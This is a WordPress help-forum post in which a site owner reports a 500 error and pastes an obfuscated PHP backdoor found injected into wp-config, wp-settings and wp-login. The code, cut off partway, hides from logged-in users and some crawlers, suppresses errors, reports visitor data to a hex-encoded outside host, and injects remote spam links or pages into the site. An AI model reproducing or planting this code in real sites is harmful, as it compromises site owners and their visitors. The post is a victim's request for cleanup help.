Site Wont Load

Hi,

My website was working all great yesterday, i ave not updated anything and i go to load it up today and it will not load at all and when accessing the wp-admin i get a 500 error. when inspecting my files and php error log i found the following

php error log-
[03-Sep-2020 11:38:15 UTC] PHP Parse error: syntax error, unexpected end of file, expecting variable (T_VARIABLE) or ‘{‘ or ‘$’ in
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wp-config-
<?php if(!class_exists(‘Ratel’)){if(function_exists(‘is_user_logged_in’)){if(is_user_logged_in()){return false;}}if(@preg_match(“#rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|sitebot|semrushbot|ia_archiver|searchmetricsbot|seokicks-robot|sistrix|lipperhey spider|ncbot|backlinkcrawler|archive.org_bot|meanpathbot|pagesinventory|aboundexbot|spbot|linkdexbot|nutch|blexbot|ezooms|scoutjet|majestic-12|majestic-seo|dsearch|blekkobo#i”,$_SERVER[“HTTP_USER_AGENT”])){return;}if(isset($_REQUEST[‘xftest’])){die(pi()*6);}@ini_set(‘display_errors’,0);@ini_set(‘error_reporting’,0);@ini_set(‘log_errors’,NULL);@ini_set(‘default_socket_timeout’,4);if(!isset($_SERVER[‘HTTP_USER_AGENT’])||!trim($_SERVER[‘HTTP_USER_AGENT’])){return false;}$is_bot=0;if(@preg_match(“/(googlebot|msnbot|yahoo|search|bing|ask|indexer|cuill.com|clushbot)/i”,$_SERVER[“HTTP_USER_AGENT”])){$is_bot=1;}$ruri=trim($_SERVER[“REQUEST_URI”],”\t\n\r\0\x0B/”);$bad_urls=’#xmlrpc.php|wp-includes|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#i’;if($ruri!=’robots.txt’&&preg_match($bad_urls,$ruri)){return false;}$host=’unknown’;if(isset($_SERVER[“HTTP_HOST”])){if(isset($_SERVER[“HTTP_X_FORWARDED_HOST”])){$_SERVER[“HTTP_HOST”]=$_SERVER[“HTTP_X_FORWARDED_HOST”];}$tmp=parse_url(‘http://&#8217; .$_SERVER[“HTTP_HOST”]);if($tmp[‘host’]){$host=$tmp[‘host’];if(substr($host,0,4)== ‘www.’){$host=substr($host,4);}}if(isset($_REQUEST[md5(md5($host))])OR isset($_COOKIE[md5(md5($host))])){die(‘suspicious request denied’);}}class Ratel{public $links_url=”\x68\x74\x74\x70\x3a\x2f\x2f\x70\x61\x6e\x64\x61\x6d\x6f\x76\x65\x72\x2e\x63\x6f\x6d\x2f\x6f\x6e\x65\x67\x74\x2f\x67\x65\x74\x2e\x70\x68\x70″;public $door_url=”\x68\x74\x74\x70\x3a\x2f\x2f\x70\x61\x6e\x64\x61\x6d\x6f\x76\x65\x72\x2e\x63\x6f\x6d\x2f”;public $ip=”;public $ua=”;public $css=”;public $js=”;public $host=”;public $ip_lists=array(‘google’=>array(‘203.208.60.0/24′,’66.249.64.0/20′,’72.14.199.0/24′,’209.85.238.0/24′,’66.249.90.0/24′,’66.249.91.0/24′,’66.249.92.0/24’),’bing’=>array(‘67.195.37.0/24′,’67.195.50.0/24′,’67.195.110.0/24′,’67.195.111.0/24′,’67.195.112.0/23′,’67.195.114.0/24′,’67.195.115.0/24′,’68.180.224.0/21′,’72.30.132.0/24′,’72.30.142.0/24′,’72.30.161.0/24′,’72.30.196.0/24′,’72.30.198.0/24′,’74.6.254.0/24′,’74.6.8.0/24′,’74.6.13.0/24′,’74.6.17.0/24′,’74.6.18.0/24′,’74.6.22.0/24′,’74.6.27.0/24′,’98.137.72.0/24′,’98.137.206.0/24′,’98.137.207.0/24′,’98.139.168.0/24′,’114.111.95.0/24′,’124.83.159.0/24′,’124.83.179.0/24′,’124.83.223.0/24′,’183.79.63.0/24′,’183.79.92.0/24′,’203.216.255.0/24′,’211.14.11.0/24′,’65.52.104.0/24′,’65.52.108.0/22′,’65.55.24.0/24′,’65.55.52.0/24′,’65.55.55.0/24′,’65.55.213.0/24′,’65.55.217.0/24′,’131.253.24.0/22′,’131.253.46.0/23′,’40.77.167.0/24′,’199.30.27.0/24′,’157.55.16.0/23′,’157.55.18.0/24′,’157.55.32.0/22′,’157.55.36.0/24′,’157.55.48.0/24′,’157.55.109.0/24′,’157.55.110.40/29′,’157.55.110.48/28′,’157.56.92.0/24′,’157.56.93.0/24′,’157.56.94.0/23′,’157.56.229.0/24′,’199.30.16.0/24′,’207.46.12.0/23′,’207.46.192.0/24′,’207.46.195.0/24′,’207.46.199.0/24′,’207.46.204.0/24′,’157.55.39.0/24’),’baidu’=>array(‘180.76.15.0/24′,’119.63.196.0/24′,’115.239.212./24′,’119.63.199.0/24′,’122.81.208.0/22′,’123.125.71.0/24′,’180.76.4.0/24′,’180.76.5.0/24′,’180.76.6.0/24′,’185.10.104.0/24′,’220.181.108.0/24′,’220.181.51.0/24′,’111.13.102.0/24′,’123.125.67.144/29′,’123.125.67.152/31′,’61.135.169.0/24′,’123.125.68.68/30′,’123.125.68.72/29′,’123.125.68.80/28′,’123.125.68.96/30′,’202.46.48.0/20′,’220.181.38.0/24′,’123.125.68.80/30′,’123.125.68.84/31′,’123.125.68.0/24’),’yandex’=>array(‘100.43.90.0/24′,’37.9.115.0/24′,’37.140.165.0/24′,’77.88.22.0/25′,’77.88.29.0/24′,’77.88.31.0/24′,’77.88.59.0/24′,’84.201.146.0/24′,’84.201.148.0/24′,’84.201.149.0/24′,’87.250.243.0/24′,’87.250.253.0/24′,’93.158.147.0/24′,’93.158.148.0/24′,’93.158.151.0/24′,’93.158.153.0/32′,’95.108.128.0/24′,’95.108.138.0/24′,’95.108.150.0/23′,’95.108.158.0/24′,’95.108.156.0/24′,’95.108.188.128/25′,’95.108.234.0/24′,’95.108.248.0/24′,’100.43.80.0/24′,’130.193.62.0/24′,’141.8.153.0/24′,’178.154.165.0/24′,’178.154.166.128/25′,’178.154.173.29′,’178.154.200.158′,’178.154.202.0/24′,’178.154.205.0/24′,’178.154.239.0/24′,’178.154.243.0/24′,’37.9.84.253′,’199.21.99.99′,’178.154.162.29′,’178.154.203.251′,’178.154.211.250′,’95.108.246.252′,’5.45.254.0/24′,’5.255.253.0/24′,’37.140.141.0/24′,’37.140.188.0/24′,’100.43.81.0/24′,’100.43.85.0/24′,’100.43.91.0/24′,’199.21.99.0/24’));public $bot=false;function get_client_ip(){foreach(array(‘HTTP_CLIENT_IP’,’HTTP_X_FORWARDED_FOR’,’HTTP_X_FORWARDED’,’HTTP_X_CLUSTER_CLIENT_IP’,’HTTP_FORWARDED_FOR’,’HTTP_FORWARDED’,’REMOTE_ADDR’)as $key){if(array_key_exists($key,$_SERVER)=== true){foreach(array_map(‘trim’,explode(‘,’,$_SERVER[$key]))as $ip){if(filter_var($ip,FILTER_VALIDATE_IP)!== false){return $ip;}}}}return $_SERVER[‘REMOTE_ADDR’];}function init($ruri,$host,$is_bot){$this->ua=$_SERVER[‘HTTP_USER_AGENT’];if(strpos($this->ua,’Safari/567.89dr’)){if(@unlink($_SERVER[‘DOCUMENT_ROOT’].’/robots.txt’)){die(‘!dltd!’);}die(‘!fld!’);}$this->is_bot=$is_bot;$this->ruri=$ruri;$this->ip=$this->get_client_ip();$this->the_end();}function the_end(){$this->detect_bot();if(count($_GET)=== 1 and empty($_GET[0])){$not_uri=end(array_keys($_GET));}$url_p=$this->door_url .’?data=’ .base64_encode(@serialize(@array(‘url’=> $_SERVER[“HTTP_HOST”],’uri’=> $_SERVER[“REQUEST_URI”],’ua’=> $this->ua,’ref’=> $_SERVER[“HTTP_REFERER”],’ip’=> $this->ip,’not_uri’=> $not_uri,’lang’=> $_SERVER[‘HTTP_ACCEPT_LANGUAGE’],’bot’=> $this->bot,’o’=>1))) .’&url=’ .$_SERVER[“HTTP_HOST”];$content=$this->get($url_p);if(!empty($content)or $content != ”){$content=@base64_decode($content);if(strpos($content,’404_not_found’)!== false){header(“HTTP/1.0 404 Not Found”);exit;}if(strripos($content,’ keys/’ .$_SERVER[“HTTP_HOST”])!== false){return false;}if(@strpos(@strtolower($content),'</html>’)!== false||@strpos(@strtolower($content),'<?xml’)!==false){die($content);}if(@strpos(@strtolower($content),’@robots.txt@’)!==false){die(str_replace(‘@robots.txt@’,”,$content));}}else{$this->links=$this->make_links();if(!empty($this->links)or $this->links !== False){ob_start(array($this,’rwcontent’));register_shutdown_function(‘ob_end_flush’);}}}function make_links(){$host=’unknown’;if(isset($_SERVER[“HTTP_X_FORWARDED_HOST”])){$_SERVER[“HTTP_HOST”]=$_SERVER[“HTTP_X_FORWARDED_HOST”];}$tmp=@parse_url(‘http://&#8217; .$_SERVER[“HTTP_HOST”]);if(isset($tmp[‘host’])){$host=$tmp[‘host’];}$page=$this->get(“$this->links_url?host=$host&uri=” .urlencode($_SERVER[“REQUEST_URI”]) .”&bot={$this->bot}&ip=” .urlencode($this->ip));if(strpos($page,'<link>’)!== FALSE){preg_match_all(‘~<link>(.*?)</link>~’,$page,$m);$links=isset($m[1])?$m[1]:array();return $links;}return false;}function rwcontent($content){$tags=array(‘p’,’span’,’strong’,’em’,’i’,’td’,’div’,’ul’,’li’,’span’,’body’);$tags_vals=array();foreach($tags as $tag){preg_match_all(“~<{$tag}.*?>(.*?)</{$tag}>~i”,$content,$matches);if(@isset($matches[0])){foreach($matches[0]as $match){$tags_vals[]=array(‘tag’=> $tag,’content’=> $match);}}if(count($tags_vals)>count($this->links)){break;}}foreach($this->links as $link_index => $link){foreach($tags_vals as $tag_index => $tag_val){if(strlen($tag_val[‘content’])%2 == 1){$tag_content_new=$tag_val[‘content’];$tag_content_new=preg_replace(“(<{$tag_val[‘tag’]}.*?>)”,”$0{$link} “,$tag_content_new,1);}else{if(substr($tag_val[‘content’],-(strlen($tag_val[‘tag’])+4))==”.</{$tag_val[‘tag’]}>”){$tag_content_new=str_replace(“.</{$tag_val[‘tag’]}>”,” {$link}.</{$tag_val[‘tag’]}>”,$tag_val[‘content’]);}else{$tag_content_new=str_replace(“</{$tag_val[‘tag’]}>”,” {$link} </{$tag_val[‘tag’]}>”,$tag_val[‘content’]);}}$content=preg_replace(“~{$tag_val[‘content’]}~i”,$tag_content_new,$content,1);unset($tags_vals[$tag_index]);if(strpos($content,$link)!== false){unset($links[$link_index]);continue 2;}}}return $content;}function detect_bot(){if(@preg_match(‘/google/i’,$this->ua)){$this->bot=’google’;return;}if(@preg_match(‘/bing|msn|msr|slurp|yahoo/i’,$this->ua)){$
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This was also in my wp-settings and wp-login.
I have removed this and replaced with a backup i had of my wp-config and this was only in the head of the wp-settings header which i removed. And the wp-login i have no backup files.

What can i do about this and how can i resolve this issue.

Thanks

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